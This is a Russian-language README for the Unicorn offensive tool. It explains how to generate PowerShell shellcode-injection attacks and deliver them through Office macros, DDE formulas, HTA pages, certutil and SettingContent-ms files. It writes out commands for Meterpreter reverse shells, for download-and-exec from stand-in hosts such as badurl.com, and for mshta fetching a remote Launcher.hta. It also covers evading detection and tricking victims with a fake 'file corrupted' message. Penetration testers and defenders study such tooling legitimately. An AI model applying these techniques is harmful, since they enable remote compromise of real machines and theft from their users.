
Unicorn — это простой инструмент для выполнения атаки понижения версии PowerShell и внедрения shellcode напрямую в память. Основан на атаках PowerShell Мэттью Грэбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18.
Автор: Dave Kennedy (@HackingDave) Веб-сайт: https://www.trustedsec.com
Magic Unicorn — это простой инструмент для использования атаки понижения версии PowerShell и инъекции шелл-кода напрямую в память. Основан на атаках PowerShell Мэттью Грейбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18.
Использование простое: просто запустите Magic Unicorn (убедитесь, что Metasploit установлен, если используются методы Metasploit, и находится в правильном пути) и Magic Unicorn автоматически сгенерирует команду PowerShell, которую вам останется только скопировать и вставить в окно командной строки или через систему доставки полезной нагрузки. Unicorn поддерживает собственный шелл-код, Cobalt Strike и Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Вектор атаки с инъекцией PowerShell для x86 на любой платформе Windows.
Автор: Dave Kennedy из TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Благодарности: Matthew Graeber, Justin Elze, Chris Gates
Счастливые магические единороги.
Использование: python unicorn.py полезная_нагрузка reverse_ipaddr порт <необязательно hta или macro, crt>
Пример PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Пример Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Пример Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Пример Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Пример HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Пример HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Пример HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Пример DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Пример CRT: python unicorn.py <path_to_payload/exe_encode> crt
Пример пользовательского PS1: python unicorn.py <путь к ps1 файлу>
Пример пользовательского PS1: python unicorn.py <путь к ps1 файлу> macro 500
Пример Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (экспорт CS в формате C#)
Пример пользовательского шелл-кода: python unicorn.py <path_to_shellcode.txt> shellcode (форматировано 0x00)
Меню помощи: python unicorn.py --help
Всё теперь генерируется в двух файлах: powershell_attack.txt и unicorn.rc. Текстовый файл содержит весь код, необходимый для инъекции атаки PowerShell в память. Обратите внимание, что вам понадобится место, поддерживающее удалённое выполнение команд. Часто это может быть через документ Excel/Word, или через psexec_commands внутри Metasploit, SQLi и т.д. Существует множество возможностей и сценариев использования этой атаки. Просто вставьте команду из powershell_attack.txt в любое окно командной строки или туда, где у вас есть возможность вызвать исполняемый файл PowerShell, и вы получите обратный шелл. Эта атака также поддерживает windows/download_exec в качестве метода полезной нагрузки вместо только полезных нагрузок Meterpreter. При использовании download и exec просто введите python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe, и код PowerShell загрузит и выполнит полезную нагрузку.
Обратите внимание, что вам нужно будет включить слушатель для захвата атаки.
Для атаки через макрос вам нужно зайти в Файл, Свойства, Ленты и выбрать "Разработчик". После этого у вас появится вкладка "Разработчик". Создайте новый макрос, назовите его Auto_Open и вставьте сгенерированный код в него. Это автоматически запустится. Обратите внимание, что пользователю будет показано сообщение о том, что файл повреждён, и документ Excel автоматически закроется. ЭТО НОРМАЛЬНОЕ ПОВЕДЕНИЕ! Это обманывает жертву, заставляя думать, что документ Excel повреждён. После этого вы должны получить шелл через инъекцию PowerShell.
Если вы развёртываете это против Office365/2016+ версий Word, вам нужно изменить первую строку вывода с: Sub Auto_Open()
На: Sub AutoOpen()
Название самого макроса также должно быть "AutoOpen" вместо устаревшего "Auto_Open".
ПРИМЕЧАНИЕ: ПРИ КОПИРОВАНИИ И ВСТАВКЕ В EXCEL, ЕСЛИ ДОБАВЛЯЮТСЯ ДОПОЛНИТЕЛЬНЫЕ ПРОБЕЛЫ, ВАМ НУЖНО УДАЛИТЬ ИХ ПОСЛЕ КАЖДОГО ИЗ РАЗДЕЛОВ КОДА POWERSHELL ПОД ПЕРЕМЕННОЙ "x", ИНАЧЕ ПРОИЗОЙДЁТ СИНТАКСИЧЕСКАЯ ОШИБКА!
Атака HTA автоматически сгенерирует два файла: первый — index.html, который указывает браузеру использовать Launcher.hta, содержащий вредоносный код инъекции PowerShell. Все файлы экспортируются в папку hta_access/, и будет три основных файла. Первый — index.html, второй — Launcher.hta и последний — файл unicorn.rc. Вы можете запустить msfconsole -r unicorn.rc для запуска слушателя для Metasploit.
Пользователь должен нажать "Разрешить" и принять при использовании атаки HTA, чтобы инъекция PowerShell сработала правильно.
Вектор атаки certutil был обнаружен Мэттью Грейбером (@mattifestation), который позволяет взять двоичный файл, преобразовать его в формат base64 и с помощью certutil на машине жертвы преобразовать обратно в двоичный файл. Это должно работать практически на любой системе и позволяет передать двоичный файл на машину жертвы через поддельный сертификат. Чтобы использовать эту атаку, просто поместите исполняемый файл в каталог Unicorn и запустите python unicorn.py <имя_файла.exe> crt, чтобы получить вывод base64. После завершения перейдите в папку decode_attack/, которая содержит файлы. Файл .bat — это команда, которую можно запустить на машине Windows для преобразования обратно в двоичный файл.
Этот метод атаки позволяет преобразовать любой файл PowerShell (.ps1) в закодированную команду или макрос.
Обратите внимание: если выбран вариант макроса, большой файл ps1 может превысить количество символов возврата каретки, допустимое в VBA. Вы можете изменить количество символов в каждой строке VBA, передав целое число в качестве параметра.
Примеры:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
Последний пример использует строку из 500 символов вместо стандартных 380, что приводит к меньшему количеству возвратов каретки в VBA.
Этот вектор атаки сгенерирует формулу DDEAUTO для вставки в Word или Excel. COM-объекты DDEInitilize и DDEExecute позволяют создавать формулы непосредственно в Office, что даёт возможность получить удалённое выполнение кода без использования макросов. Эта атака была задокументирована, и полные инструкции можно найти по адресу:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Чтобы использовать эту атаку, выполните следующие примеры:
python unicorn.py <полезная_нагрузка> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
После генерации будет создан файл powershell_attack.txt, содержащий код Office, и файл unicorn.rc, который является компонентом слушателя и может быть вызван командой msfconsole -r unicorn.rc для обработки слушателя полезной нагрузки. Кроме того, будет экспортирован файл download.ps1 (объяснено в следующем разделе).
Чтобы применить полезную нагрузку, например (из статьи sensepost):
После открытия документа Office вы должны получить шелл через инъекцию PowerShell. Обратите внимание, что DDE ограничен по размеру символов, и нам нужно использовать Invoke-Expression (IEX) в качестве метода загрузки.
Атака DDE попытается загрузить download.ps1, который является нашей атакой инъекции PowerShell, поскольку мы ограничены по размеру. Вам нужно будет переместить download.ps1 в место, доступное для машины жертвы. Это означает, что вам нужно разместить download.ps1 в каталоге Apache2, к которому у неё есть доступ.
Вы можете заметить, что некоторые команды используют "{ QUOTE" — это способы маскировки определённых команд, что задокументировано здесь: http://staaldraad.github.io/2017/10/23/msword-field-codes/. В данном случае мы изменяем WindowsPowerShell, powershell.exe и IEX, чтобы избежать обнаружения. Также ознакомьтесь с этим URL, так как там есть отличные методы отказа от использования DDE вообще.
Этот метод импортирует шелл-код Beacon Cobalt Strike напрямую из Cobalt Strike.
В Cobalt Strike экспортируйте "CS" (C#) экспорт Cobalt Strike и сохраните его в файл. Например, назовите файл cobalt_strike_file.cs.
Экспортированный код будет выглядеть примерно так:
Далее для использования:
python unicorn.py cobalt_strike_file.cs cs
Аргумент cs указывает Unicorn, что вы хотите использовать функциональность Cobalt Strike. Остальное — магия.
Затем просто скопируйте команду PowerShell туда, где у вас есть возможность удалённого выполнения команд.
ПРИМЕЧАНИЕ: ФАЙЛ ДОЛЖЕН БЫТЬ ЭКСПОРТИРОВАН В ФОРМАТЕ C# (CS) В COBALT STRIKE ДЛЯ ПРАВИЛЬНОГО РАЗБОРА.
С этой атакой есть некоторые оговорки. Обратите внимание, что размер полезной нагрузки будет чуть более 14 Кбайт. Это означает, что с точки зрения аргумента командной строки, если вы копируете и вставляете, вы столкнётесь с ограничением в 8191 символ (жёстко задано в cmd.exe). Если вы запускаете непосредственно из cmd.exe, это проблема, однако если вы запускаете непосредственно из PowerShell или других обычных приложений, это не проблема.
Несколько примеров: wscript.shell и powershell используют USHORT - 65535 / 2 = 32767 предел размера:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Для этой атаки, если вы запускаете непосредственно из PowerShell, VBSCript (WSCRIPT.SHELL), проблем нет.
Этот метод позволит вам вставить свой собственный шелл-код в атаку Unicorn. Код PowerShell увеличит размер стека powershell.exe (через VirtualAlloc) и внедрит его в память.
Обратите внимание: для работы ваш текстовый файл, на который вы указываете Unicorn, должен быть отформатирован в следующем формате, иначе он не будет работать:
0x00,0x00,0x00 и так далее.
Также обратите внимание на ограничения по размеру. Общая длина команды PowerShell не может превышать 8191 символ. Это максимальный размер аргумента командной строки в Windows.
Использование:
python unicorn.py shellcode_formatted_properly.txt shellcode
Затем просто скопируйте команду PowerShell туда, где у вас есть возможность удалённого выполнения команд.
ПРИМЕЧАНИЕ: ФАЙЛ ДОЛЖЕН БЫТЬ ПРАВИЛЬНО ОТФОРМАТИРОВАН В ФОРМАТЕ 0x00,0x00,0x00 БЕЗ НИЧЕГО, КРОМЕ ВАШЕГО ШЕЛЛ-КОДА В ТЕКСТОВОМ ФАЙЛЕ.
С этой атакой есть некоторые оговорки. Обратите внимание, что если размер вашей полезной нагрузки велик, она не поместится в cmd.exe. Это означает, что с точки зрения аргумента командной строки, если вы копируете и вставляете, вы столкнётесь с ограничением в 8191 символ (жёстко задано в cmd.exe). Если вы запускаете непосредственно из cmd.exe, это проблема, однако если вы запускаете непосредственно из PowerShell или других обычных приложений, это не проблема.
Несколько примеров: wscript.shell и powershell используют USHORT - 65535 / 2 = 32767 предел размера:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Для этой атаки, если вы запускаете непосредственно из PowerShell, VBSCript (WSCRIPT.SHELL), проблем нет.
Во-первых, если у вас ещё не было возможности, загляните в потрясающий блог SpectreOps от Мэтта Нельсона (enigma0x3):
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Этот метод использует специальный тип файла ".SettingContent-ms", который позволяет как прямую загрузку из браузера (открытие + выполнение команды), так и через расширение при встраивании в продукты Office. Этот конкретный метод будет сосредоточен на настройках расширения для выполнения команд через вектор атаки PowerShell Unicorn.
С этим вектором атаки поддерживаются несколько методов. Поскольку размер символов ограничен, метод развёртывания — HTA.
Для подробного понимания вооружения этой атаки посетите:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Шаги, которые вам нужно выполнить для завершения этой атаки: сгенерируйте ваш файл .SettingContent-ms либо из автономного режима, либо из HTA. Метод HTA поддерживает атаки Metasploit, Cobalt Strike и прямого шелл-кода.
Четыре метода использования:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Пример SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Пример SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Сгенерировать .SettingContent-ms: python unicorn.py ms
Первая — полезная нагрузка Metasploit, вторая — Cobalt Strike, третья — ваш собственный шелл-код, а четвёртая — просто пустой файл .SettingContent-ms.
Когда всё сгенерировано, будет экспортирован файл с именем Standalone_NoASR.SettingContent-ms либо в корневой каталог Unicorn (если используется автономная генерация файла), либо в папку hta_attack/. Вам нужно будет отредактировать файл Standalone_NoASR.SettingContent-ms и заменить:
REPLACECOOLSTUFFHERE
На:
mshta http://<ip_или_dns_имя_сервера_apache>/Launcher.hta.
Затем переместите содержимое hta_attack в /var/www/html.
Как только жертва щёлкнет по файлу .SettingContent-ms, на машине жертвы будет вызван mshta, который затем загрузит файл HTA Unicorn с возможностями выполнения кода.
Особая благодарность и признательность Мэтту Нельсону за отличное исследование
Также посмотрите: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Использование:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms